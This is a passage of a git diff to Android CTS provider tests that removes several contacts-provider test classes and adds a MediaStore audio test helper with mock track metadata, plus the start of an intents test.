- value.put(Settings.VALUE, updateValue);
-
- mProvider.update(uri, value, null, null);
- cursor = mProvider.query(Extensions.CONTENT_URI,
- EXTENSIONS_PROJECTION,
- Extensions.PERSON_ID + " = " + peopleId,
- null, null, null);
- assertTrue(cursor.moveToNext());
- assertEquals(updateName, cursor.getString(NAME_INDEX));
- assertEquals(updateValue, cursor.getString(VALUE_INDEX));
- assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
- cursor.close();
-
- // Test: delete
- mProvider.delete(uri, null, null);
- cursor = mProvider.query(Extensions.CONTENT_URI,
- EXTENSIONS_PROJECTION,
- Extensions.PERSON_ID + " = " + peopleId,
- null, null, null);
- assertEquals(0, cursor.getCount());
- cursor.close();
- } catch (RemoteException e) {
- fail("Unexpected RemoteException");
- }
- }
-
- /**
- * Test case for the behavior of the ContactsProvider's groupmembership table
- * It does not test any APIs in android.provider.Contacts.java
- */
- public void testGroupMembershipTable() {
- final String[] GROUP_MEMBERSHIP_PROJECTION = new String[] {
- GroupMembership._ID, GroupMembership.PERSON_ID,
- GroupMembership.GROUP_ID, GroupMembership.GROUP_SYNC_ACCOUNT,
- GroupMembership.GROUP_SYNC_ID};
- final int ID_INDEX = 0;
- final int PERSON_ID_INDEX = 1;
- final int GROUP_ID_INDEX = 2;
- final int GROUP_SYNC_ACCOUNT_INDEX = 3;
- final int GROUP_SYNC_ID_INDEX = 4;
-
- try {
- ContentValues value = new ContentValues();
- value.put(PeopleColumns.NAME, "name_group_membership_test_stub");
- Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
- int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
-
- value.clear();
- value.put(GroupsColumns.NAME, "name_group_membership_test_stub1");
- Uri groupUri1 = mProvider.insert(Groups.CONTENT_URI, value);
- int groupId1 = Integer.parseInt(groupUri1.getPathSegments().get(1));
- value.clear();
- value.put(GroupsColumns.NAME, "name_group_membership_test_stub2");
- Uri groupUri2 = mProvider.insert(Groups.CONTENT_URI, value);
- int groupId2 = Integer.parseInt(groupUri2.getPathSegments().get(1));
-
- // Test: insert
- value.clear();
- value.put(GroupMembership.PERSON_ID, peopleId);
- value.put(GroupMembership.GROUP_ID, groupId1);
-
- Uri uri = mProvider.insert(GroupMembership.CONTENT_URI, value);
- Cursor cursor = mProvider.query(
- GroupMembership.CONTENT_URI, GROUP_MEMBERSHIP_PROJECTION,
- GroupMembership.PERSON_ID + " = " + peopleId,
- null, null, null);
-
- // Check that the person has been associated with the group. The person may be in
- // additional groups by being added automatically.
- int id = -1;
- while(true) {
- assertTrue(cursor.moveToNext());
- assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
- int cursorGroupId = cursor.getInt(GROUP_ID_INDEX);
- if (groupId1 == cursorGroupId) {
- id = cursor.getInt(ID_INDEX);
- break;
- }
- }
- assertTrue(id != -1);
- cursor.close();
-
- // Test: update
- value.clear();
- value.put(GroupMembership.GROUP_ID, groupId2);
-
- try {
- mProvider.update(uri, value, null, null);
- fail("Should throw out UnsupportedOperationException.");
- } catch (UnsupportedOperationException e) {
- // Don't support direct update operation to groupmembership URI.
- }
-
- // Test: delete
- mProvider.delete(uri, null, null);
- cursor = mProvider.query(GroupMembership.CONTENT_URI,
- GROUP_MEMBERSHIP_PROJECTION,
- "groupmembership._id" + " = " + id,
- null, null, null);
- assertEquals(0, cursor.getCount());
- cursor.close();
-
- mProvider.delete(peopleUri, null, null);
- mProvider.delete(groupUri1, null, null);
- mProvider.delete(groupUri2, null, null);
- } catch (RemoteException e) {
- fail("Unexpected RemoteException");
- }
- }
-
- private long getElapsedDurationMillis(long timeStampMillis){
- return (System.currentTimeMillis() - timeStampMillis);
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/Contacts_PeopleTest.java b/tests/tests/provider/src/android/provider/cts/contacts/Contacts_PeopleTest.java
deleted file mode 100644
index 0737478..0000000
--- a/tests/tests/provider/src/android/provider/cts/contacts/Contacts_PeopleTest.java
+++ /dev/null
@@ -1,284 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts.contacts;
-
-
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
-import android.net.Uri;
-import android.os.RemoteException;
-import android.provider.Contacts;
-import android.provider.Contacts.GroupMembership;
-import android.provider.Contacts.Groups;
-import android.provider.Contacts.GroupsColumns;
-import android.provider.Contacts.People;
-import android.test.InstrumentationTestCase;
-import android.util.Log;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.util.ArrayList;
-import java.util.List;
-
-public class Contacts_PeopleTest extends InstrumentationTestCase {
- private ContentResolver mContentResolver;
- private ContentProviderClient mProvider;
-
- private ArrayList<Uri> mPeopleRowsAdded;
- private ArrayList<Uri> mGroupRowsAdded;
- private ArrayList<Uri> mRowsAdded;
-
- private static final String[] PEOPLE_PROJECTION = new String[] {
- People._ID,
- People.LAST_TIME_CONTACTED,
- People.TIMES_CONTACTED
- };
- private static final int PEOPLE_ID_INDEX = 0;
- private static final int PEOPLE_LAST_CONTACTED_INDEX = 1;
- private static final int PEOPLE_TIMES_CONTACTED_INDEX = 1;
-
- private static final String[] GROUPS_PROJECTION = new String[] {
- Groups._ID,
- Groups.NAME
- };
- private static final int GROUPS_ID_INDEX = 0;
- private static final int GROUPS_NAME_INDEX = 1;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
- mProvider = mContentResolver.acquireContentProviderClient(Contacts.AUTHORITY);
-
- mPeopleRowsAdded = new ArrayList<Uri>();
- mGroupRowsAdded = new ArrayList<Uri>();
- mRowsAdded = new ArrayList<Uri>();
-
- // insert some lines in people table and groups table to be used in test case.
- for (int i=0; i<3; i++) {
- ContentValues value = new ContentValues();
- value.put(People.NAME, "test_people_" + i);
- value.put(People.TIMES_CONTACTED, 0);
- value.put(People.LAST_TIME_CONTACTED, 0);
- mPeopleRowsAdded.add(mProvider.insert(People.CONTENT_URI, value));
- }
-
- ContentValues value = new ContentValues();
- value.put(Groups.NAME, "test_group_0");
- mGroupRowsAdded.add(mProvider.insert(Groups.CONTENT_URI, value));
- value.put(Groups.NAME, "test_group_1");
- mGroupRowsAdded.add(mProvider.insert(Groups.CONTENT_URI, value));
- }
-
- @Override
- protected void tearDown() throws Exception {
- // remove the lines we inserted in setup and added in test cases.
- for (Uri row : mRowsAdded) {
- mProvider.delete(row, null, null);
- }
- mRowsAdded.clear();
-
- for (Uri row : mPeopleRowsAdded) {
- mProvider.delete(row, null, null);
- }
- mPeopleRowsAdded.clear();
-
- for (Uri row : mGroupRowsAdded) {
- mProvider.delete(row, null, null);
- }
- mGroupRowsAdded.clear();
-
- super.tearDown();
- }
-
- public void testAddToGroup() {
- Cursor cursor;
- try {
- // Add the My Contacts group, since it is no longer automatically created.
- ContentValues testValues = new ContentValues();
- testValues.put(GroupsColumns.SYSTEM_ID, Groups.GROUP_MY_CONTACTS);
- mProvider.insert(Groups.CONTENT_URI, testValues);
-
- // People: test_people_0, Group: Groups.GROUP_MY_CONTACTS
- cursor = mProvider.query(mPeopleRowsAdded.get(0), PEOPLE_PROJECTION,
- null, null, null, null);
- cursor.moveToFirst();
- int personId = cursor.getInt(PEOPLE_ID_INDEX);
- cursor.close();
- mRowsAdded.add(People.addToMyContactsGroup(mContentResolver, personId));
- cursor = mProvider.query(Groups.CONTENT_URI, GROUPS_PROJECTION,
- Groups.SYSTEM_ID + "='" + Groups.GROUP_MY_CONTACTS + "'", null, null, null);
- assertTrue(cursor.moveToFirst());
- int groupId = cursor.getInt(GROUPS_ID_INDEX);
- cursor.close();
- cursor = People.queryGroups(mContentResolver, personId);
-
- int membershipGroupIdIndex =
- cursor.getColumnIndex(android.provider.Contacts.GroupMembership.GROUP_ID);
- int membershipPersonIdIndex =
- cursor.getColumnIndex(android.provider.Contacts.GroupMembership.PERSON_ID);
-
- assertTrue(cursor.moveToFirst());
- assertEquals(personId, cursor.getInt(membershipPersonIdIndex));
- assertEquals(groupId, cursor.getInt(membershipGroupIdIndex));
- cursor.close();
-
- // People: test_people_create, Group: Groups.GROUP_MY_CONTACTS
- ContentValues values = new ContentValues();
- values.put(People.NAME, "test_people_create");
- values.put(People.TIMES_CONTACTED, 0);
- values.put(People.LAST_TIME_CONTACTED, 0);
- mRowsAdded.add(People.createPersonInMyContactsGroup(mContentResolver, values));
- cursor = mProvider.query(People.CONTENT_URI, PEOPLE_PROJECTION,
- People.NAME + " = 'test_people_create'", null, null, null);
-
- assertTrue(cursor.moveToFirst());
- personId = cursor.getInt(PEOPLE_ID_INDEX);
- mRowsAdded.add(ContentUris.withAppendedId(People.CONTENT_URI, personId));
- cursor.close();
- cursor = mProvider.query(Groups.CONTENT_URI, GROUPS_PROJECTION,
- Groups.SYSTEM_ID + "='" + Groups.GROUP_MY_CONTACTS + "'", null, null, null);
- assertTrue(cursor.moveToFirst());
- groupId = cursor.getInt(GROUPS_ID_INDEX);
- cursor.close();
- cursor = People.queryGroups(mContentResolver, personId);
- assertTrue(cursor.moveToFirst());
- assertEquals(personId, cursor.getInt(membershipPersonIdIndex));
- assertEquals(groupId, cursor.getInt(membershipGroupIdIndex));
- cursor.close();
-
- // People: test_people_1, Group: test_group_0
- cursor = mProvider.query(mPeopleRowsAdded.get(1), PEOPLE_PROJECTION,
- null, null, null, null);
- assertTrue(cursor.moveToFirst());
- personId = cursor.getInt(PEOPLE_ID_INDEX);
- cursor.close();
- cursor = mProvider.query(mGroupRowsAdded.get(0), GROUPS_PROJECTION,
- null, null, null, null);
- assertTrue(cursor.moveToFirst());
- groupId = cursor.getInt(GROUPS_ID_INDEX);
- cursor.close();
- mRowsAdded.add(People.addToGroup(mContentResolver, personId, groupId));
- cursor = People.queryGroups(mContentResolver, personId);
- boolean found = false;
- while (cursor.moveToNext()) {
- assertEquals(personId, cursor.getInt(membershipPersonIdIndex));
- if (cursor.getInt(membershipGroupIdIndex) == groupId) {
- found = true;
- break;
- }
- }
- assertTrue(found);
-
- cursor.close();
-
- // People: test_people_2, Group: test_group_1
- cursor = mProvider.query(mPeopleRowsAdded.get(2), PEOPLE_PROJECTION,
- null, null, null, null);
- assertTrue(cursor.moveToFirst());
- personId = cursor.getInt(PEOPLE_ID_INDEX);
- cursor.close();
- String groupName = "test_group_1";
- mRowsAdded.add(People.addToGroup(mContentResolver, personId, groupName));
- cursor = People.queryGroups(mContentResolver, personId);
- List<Integer> groupIds = new ArrayList<Integer>();
- while (cursor.moveToNext()) {
- assertEquals(personId, cursor.getInt(membershipPersonIdIndex));
- groupIds.add(cursor.getInt(membershipGroupIdIndex));
- }
- cursor.close();
-
- found = false;
- for (int id : groupIds) {
- cursor = mProvider.query(Groups.CONTENT_URI, GROUPS_PROJECTION,
- Groups._ID + "=" + id, null, null, null);
- cursor.moveToFirst();
- if (groupName.equals(cursor.getString(GROUPS_NAME_INDEX))) {
- found = true;
- break;
- }
- }
- assertTrue(found);
- cursor.close();
- } catch (RemoteException e) {
- fail("Unexpected RemoteException");
- }
- }
-
- public void testMarkAsContacted() {
- Cursor cursor;
- try {
- cursor = mProvider.query(mPeopleRowsAdded.get(0), PEOPLE_PROJECTION,
- null, null, null, null);
- cursor.moveToFirst();
- int personId = cursor.getInt(PEOPLE_ID_INDEX);
- assertEquals(0, cursor.getLong(PEOPLE_LAST_CONTACTED_INDEX));
- assertEquals(0, cursor.getLong(PEOPLE_TIMES_CONTACTED_INDEX));
- cursor.close();
-
- People.markAsContacted(mContentResolver, personId);
- cursor = mProvider.query(mPeopleRowsAdded.get(0), PEOPLE_PROJECTION,
- null, null, null, null);
- cursor.moveToFirst();
- assertEquals(0, cursor.getLong(PEOPLE_LAST_CONTACTED_INDEX));
- assertEquals(0, cursor.getLong(PEOPLE_TIMES_CONTACTED_INDEX));
- cursor.close();
- } catch (RemoteException e) {
- fail("Unexpected RemoteException");
- }
- }
-
- public void testAccessPhotoData() {
- Context context = getInstrumentation().getTargetContext();
- try {
- InputStream inputStream = context.getResources().openRawResource(
- android.provider.cts.R.drawable.testimage);
- int size = inputStream.available();
- byte[] data = new byte[size];
- inputStream.read(data);
-
- People.setPhotoData(mContentResolver, mPeopleRowsAdded.get(0), data);
- InputStream photoStream = People.openContactPhotoInputStream(
- mContentResolver, mPeopleRowsAdded.get(0));
- assertNotNull(photoStream);
- Bitmap bitmap = BitmapFactory.decodeStream(photoStream, null, null);
- assertEquals(96, bitmap.getWidth());
- assertEquals(64, bitmap.getHeight());
-
- photoStream = People.openContactPhotoInputStream(mContentResolver,
- mPeopleRowsAdded.get(1));
- assertNull(photoStream);
-
- bitmap = People.loadContactPhoto(context, mPeopleRowsAdded.get(0),
- android.provider.cts.R.drawable.size_48x48, null);
- assertEquals(96, bitmap.getWidth());
- assertEquals(64, bitmap.getHeight());
-
- bitmap = People.loadContactPhoto(context, null,
- android.provider.cts.R.drawable.size_48x48, null);
- assertNotNull(bitmap);
- } catch (IOException e) {
- fail("Unexpected IOException");
- }
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/RawContactUtil.java b/tests/tests/provider/src/android/provider/cts/contacts/RawContactUtil.java
deleted file mode 100644
index b8e1576..0000000
--- a/tests/tests/provider/src/android/provider/cts/contacts/RawContactUtil.java
+++ /dev/null
@@ -1,108 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.provider.cts.contacts;
-
-import android.accounts.Account;
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.database.Cursor;
-import android.net.Uri;
-import android.provider.ContactsContract;
-
-import java.util.List;
-
-/**
- * Convenience methods for operating on the RawContacts table.
- */
-public class RawContactUtil {
-
- private static final Uri URI = ContactsContract.RawContacts.CONTENT_URI;
-
- public static int update(ContentResolver resolver, long rawContactId,
- ContentValues values) {
- Uri uri = ContentUris.withAppendedId(URI, rawContactId);
- return resolver.update(uri, values, null, null);
- }
-
- public static long createRawContactWithName(ContentResolver resolver, Account account,
- String name) {
- Long rawContactId = insertRawContact(resolver, account);
- DataUtil.insertName(resolver, rawContactId, name);
- return rawContactId;
- }
-
- public static long createRawContactWithAutoGeneratedName(ContentResolver resolver,
- Account account) {
- Long rawContactId = insertRawContact(resolver, account);
- DataUtil.insertAutoGeneratedName(resolver, rawContactId);
- return rawContactId;
- }
-
- public static long insertRawContact(ContentResolver resolver, Account account) {
- ContentValues values = new ContentValues();
- values.put(ContactsContract.RawContacts.ACCOUNT_NAME, account.name);
- values.put(ContactsContract.RawContacts.ACCOUNT_TYPE, account.type);
- Uri uri = resolver.insert(URI, values);
- return ContentUris.parseId(uri);
- }
-
- public static String[] queryByRawContactId(ContentResolver resolver,
- long rawContactId, String[] projection) {
- Uri uri = ContentUris.withAppendedId(URI, rawContactId);
- Cursor cursor = resolver.query(uri, projection, null, null, null);
- return CommonDatabaseUtils.singleRecordToArray(cursor);
- }
-
- /**
- * Returns a list of raw contact records.
- *
- * @return A list of records. Where each record is represented as an array of strings.
- */
- public static List<String[]> queryByContactId(ContentResolver resolver, long contactId,
- String[] projection) {
- Uri uri = ContentUris.withAppendedId(URI, contactId);
- Cursor cursor = resolver.query(uri, projection, null, null, null);
- return CommonDatabaseUtils.multiRecordToArray(cursor);
- }
-
- public static void delete(ContentResolver resolver, long rawContactId,
- boolean isSyncAdapter) {
- Uri uri = ContentUris.withAppendedId(URI, rawContactId)
- .buildUpon()
- .appendQueryParameter(ContactsContract.CALLER_IS_SYNCADAPTER, isSyncAdapter + "")
- .build();
- resolver.delete(uri, null, null);
- }
-
- public static long queryContactIdByRawContactId(ContentResolver resolver, long rawContactid) {
- String[] projection = new String[]{
- ContactsContract.RawContacts.CONTACT_ID
- };
- String[] result = RawContactUtil.queryByRawContactId(resolver, rawContactid,
- projection);
- if (result == null) {
- return CommonDatabaseUtils.NOT_FOUND;
- }
- return Long.parseLong(result[0]);
- }
-
- public static boolean rawContactExistsById(ContentResolver resolver, long rawContactid) {
- long contactId = queryContactIdByRawContactId(resolver, rawContactid);
- return contactId != CommonDatabaseUtils.NOT_FOUND;
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/account/ContactsContract_Subquery.java b/tests/tests/provider/src/android/provider/cts/contacts/account/ContactsContract_Subquery.java
deleted file mode 100644
index ab15977..0000000
--- a/tests/tests/provider/src/android/provider/cts/contacts/account/ContactsContract_Subquery.java
+++ /dev/null
@@ -1,72 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts.contacts.account;
-
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.database.Cursor;
-import android.provider.ContactsContract;
-import android.provider.ContactsContract.Contacts;
-import android.provider.ContactsContract.RawContacts;
-import android.provider.cts.contacts.ContactsContract_TestDataBuilder;
-import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestRawContact;
-import android.test.AndroidTestCase;
-
-public class ContactsContract_Subquery extends AndroidTestCase {
- private ContentResolver mResolver;
- private ContactsContract_TestDataBuilder mBuilder;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mResolver = getContext().getContentResolver();
- ContentProviderClient provider =
- mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
- mBuilder = new ContactsContract_TestDataBuilder(provider);
- }
-
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
- mBuilder.cleanup();
- }
-
- public void testProviderStatus_addedContacts() throws Exception {
- TestRawContact rawContact1 = mBuilder.newRawContact()
- .with(RawContacts.ACCOUNT_TYPE, "test_account")
- .with(RawContacts.ACCOUNT_NAME, "test_name")
- .insert();
-
- // Get the total row count.
- final int allCount;
- try (Cursor cursor = mResolver.query(Contacts.CONTENT_URI, null, null, null, null)) {
- allCount = cursor.getCount();
- }
-
- // Make sure CP2 gives the same result with an always-true subquery.
- try (Cursor cursor = mResolver.query(Contacts.CONTENT_URI, null,
- "exists(select 1)", null, null)) {
- assertEquals(allCount, cursor.getCount());
- }
-
- // Make sure CP2 returns no rows with an always-false subquery.
- try (Cursor cursor = mResolver.query(Contacts.CONTENT_URI, null,
- "not exists(select 1)", null, null)) {
- assertEquals(0, cursor.getCount());
- }
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreAudioTestHelper.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreAudioTestHelper.java
new file mode 100644
index 0000000..471f85a
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreAudioTestHelper.java
@@ -0,0 +1,263 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.net.Uri;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Audio.Media;
+import android.provider.cts.ProviderTestUtils;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import junit.framework.Assert;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.io.IOException;
+
+/**
+ * This class contains fake data and convenient methods for testing:
+ * {@link MediaStore.Audio.Media}
+ * {@link MediaStore.Audio.Genres}
+ * {@link MediaStore.Audio.Genres.Members}
+ * {@link MediaStore.Audio.Playlists}
+ * {@link MediaStore.Audio.Playlists.Members}
+ * {@link MediaStore.Audio.Albums}
+ * {@link MediaStore.Audio.Artists}
+ * {@link MediaStore.Audio.Artists.Albums}
+ *
+ * @see MediaStore_Audio_MediaTest
+ * @see MediaStore_Audio_GenresTest
+ * @see MediaStore_Audio_Genres_MembersTest
+ * @see MediaStore_Audio_PlaylistsTest
+ * @see MediaStore_Audio_Playlists_MembersTest
+ * @see MediaStore_Audio_ArtistsTest
+ * @see MediaStore_Audio_Artists_AlbumsTest
+ * @see MediaStore_Audio_AlbumsTest
+ */
+@RunWith(AndroidJUnit4.class)
+public class MediaStoreAudioTestHelper {
+ public static abstract class MockAudioMediaInfo {
+ public abstract ContentValues getContentValues(String volumeName);
+
+ public Uri insert(ContentResolver contentResolver, String volumeName) {
+ final Uri dirUri = MediaStore.Audio.Media.getContentUri(volumeName);
+ final ContentValues values = getContentValues(volumeName);
+ contentResolver.delete(dirUri, MediaStore.Audio.Media.DATA + "=?", new String[] {
+ values.getAsString(MediaStore.Audio.Media.DATA)
+ });
+
+ final Uri itemUri = contentResolver.insert(dirUri, values);
+ Assert.assertNotNull(itemUri);
+ return itemUri;
+ }
+
+ public int delete(ContentResolver contentResolver, Uri uri) {
+ return contentResolver.delete(uri, null, null);
+ }
+ }
+
+ public static class Audio1 extends MockAudioMediaInfo {
+ private Audio1() {
+ }
+
+ private static Audio1 sInstance = new Audio1();
+
+ public static Audio1 getInstance() {
+ return sInstance;
+ }
+
+ public static final int IS_RINGTONE = 0;
+ public static final int IS_NOTIFICATION = 0;
+ public static final int IS_ALARM = 0;
+ public static final int IS_MUSIC = 1;
+ public static final int YEAR = 1992;
+ public static final int TRACK = 1;
+ public static final int DURATION = 340000;
+ public static final String COMPOSER = "Bruce Swedien";
+ public static final String ARTIST = "Michael Jackson";
+ public static final String ALBUM = "Dangerous";
+ public static final String TITLE = "Jam";
+ public static final int SIZE = 2737870;
+ public static final String MIME_TYPE = "audio/x-mpeg";
+ public static final String FILE_NAME = "Jam.mp3";
+ public static final String DISPLAY_NAME = FILE_NAME;
+ public static final long DATE_MODIFIED = System.currentTimeMillis() / 1000;
+ public static final String GENRE = "POP";
+
+ @Override
+ public ContentValues getContentValues(String volumeName) {
+ ContentValues values = new ContentValues();
+ try {
+ final File data;
+ if (MediaStore.VOLUME_INTERNAL.equals(volumeName)) {
+ data = new File("/data/data/android.provider.cts/files/", FILE_NAME);
+ } else {
+ data = new File(ProviderTestUtils.stageDir(volumeName), FILE_NAME);
+ }
+ values.put(Media.DATA, data.getAbsolutePath());
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+ values.put(Media.DATE_MODIFIED, DATE_MODIFIED);
+ values.put(Media.DISPLAY_NAME, DISPLAY_NAME);
+ values.put(Media.MIME_TYPE, MIME_TYPE);
+ values.put(Media.SIZE, SIZE);
+ values.put(Media.TITLE, TITLE);
+ values.put(Media.ALBUM, ALBUM);
+ values.put(Media.ARTIST, ARTIST);
+ values.put(Media.COMPOSER, COMPOSER);
+ values.put(Media.DURATION, DURATION);
+ values.put(Media.TRACK, TRACK);
+ values.put(Media.YEAR, YEAR);
+ values.put(Media.IS_MUSIC, IS_MUSIC);
+ values.put(Media.IS_ALARM, IS_ALARM);
+ values.put(Media.IS_NOTIFICATION, IS_NOTIFICATION);
+ values.put(Media.IS_RINGTONE, IS_RINGTONE);
+ return values;
+ }
+ }
+
+ public static class Audio2 extends MockAudioMediaInfo {
+ private Audio2() {
+ }
+
+ private static Audio2 sInstance = new Audio2();
+
+ public static Audio2 getInstance() {
+ return sInstance;
+ }
+
+ public static final int IS_RINGTONE = 1;
+ public static final int IS_NOTIFICATION = 0;
+ public static final int IS_ALARM = 0;
+ public static final int IS_MUSIC = 0;
+ public static final int YEAR = 1992;
+ public static final int TRACK = 1001;
+ public static final int DURATION = 338000;
+ public static final String COMPOSER = "Bruce Swedien";
+ public static final String ARTIST =
+ "Michael Jackson - Live And Dangerous - National Stadium Bucharest";
+ public static final String ALBUM =
+ "Michael Jackson - Live And Dangerous - National Stadium Bucharest";
+ public static final String TITLE = "Jam";
+ public static final int SIZE = 2737321;
+ public static final String MIME_TYPE = "audio/x-mpeg";
+ public static final String FILE_NAME = "Jam_live.mp3";
+ public static final String DISPLAY_NAME = FILE_NAME;
+ public static final long DATE_MODIFIED = System.currentTimeMillis() / 1000;
+
+ @Override
+ public ContentValues getContentValues(String volumeName) {
+ ContentValues values = new ContentValues();
+ try {
+ final File data;
+ if (MediaStore.VOLUME_INTERNAL.equals(volumeName)) {
+ data = new File("/data/data/android.provider.cts/files/", FILE_NAME);
+ } else {
+ data = new File(ProviderTestUtils.stageDir(volumeName), FILE_NAME);
+ }
+ values.put(Media.DATA, data.getAbsolutePath());
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+ values.put(Media.DATE_MODIFIED, DATE_MODIFIED);
+ values.put(Media.DISPLAY_NAME, DISPLAY_NAME);
+ values.put(Media.MIME_TYPE, MIME_TYPE);
+ values.put(Media.SIZE, SIZE);
+ values.put(Media.TITLE, TITLE);
+ values.put(Media.ALBUM, ALBUM);
+ values.put(Media.ARTIST, ARTIST);
+ values.put(Media.COMPOSER, COMPOSER);
+ values.put(Media.DURATION, DURATION);
+ values.put(Media.TRACK, TRACK);
+ values.put(Media.YEAR, YEAR);
+ values.put(Media.IS_MUSIC, IS_MUSIC);
+ values.put(Media.IS_ALARM, IS_ALARM);
+ values.put(Media.IS_NOTIFICATION, IS_NOTIFICATION);
+ values.put(Media.IS_RINGTONE, IS_RINGTONE);
+ return values;
+ }
+ }
+
+ public static class Audio3 extends Audio1 {
+ private Audio3() {
+ }
+
+ private static Audio3 sInstance = new Audio3();
+
+ public static Audio3 getInstance() {
+ return sInstance;
+ }
+
+ @Override
+ public ContentValues getContentValues(String volumeName) {
+ ContentValues values = super.getContentValues(volumeName);
+ values.put(Media.DATA, values.getAsString(Media.DATA) + ".3.mp3");
+ return values;
+ }
+ }
+
+ public static class Audio4 extends Audio1 {
+ private Audio4() {
+ }
+
+ private static Audio4 sInstance = new Audio4();
+
+ public static Audio4 getInstance() {
+ return sInstance;
+ }
+
+ @Override
+ public ContentValues getContentValues(String volumeName) {
+ ContentValues values = super.getContentValues(volumeName);
+ values.put(Media.DATA, values.getAsString(Media.DATA) + ".4.mp3");
+ return values;
+ }
+ }
+
+ public static class Audio5 extends Audio1 {
+ private Audio5() {
+ }
+
+ private static Audio5 sInstance = new Audio5();
+
+ public static Audio5 getInstance() {
+ return sInstance;
+ }
+
+ @Override
+ public ContentValues getContentValues(String volumeName) {
+ ContentValues values = super.getContentValues(volumeName);
+ values.put(Media.DATA, values.getAsString(Media.DATA) + ".5.mp3");
+ return values;
+ }
+ }
+
+ @Test
+ public void testStub() {
+ // No-op test here to keep atest happy
+ }
+
+ // These constants are not part of the public API
+ public static final String EXTERNAL_VOLUME_NAME = "external";
+ public static final String INTERNAL_VOLUME_NAME = "internal";
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreIntentsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreIntentsTest.java
new file mode 100644
index 0000000..d5442e0
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreIntentsTest.java
@@ -0,0 +1,169 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Intent;
+import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.provider.MediaStore;
+import android.provider.cts.ProviderTestUtils;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.util.List;
+
+/**
+ * Tests to verify that common actions on {@link MediaStore} content are
+ * available.
+ */
+@RunWith(Parameterized.class)
+public class MediaStoreIntentsTest {
+ private Uri mExternalAudio;
+ private Uri mExternalVideo;
+ private Uri mExternalImages;
+
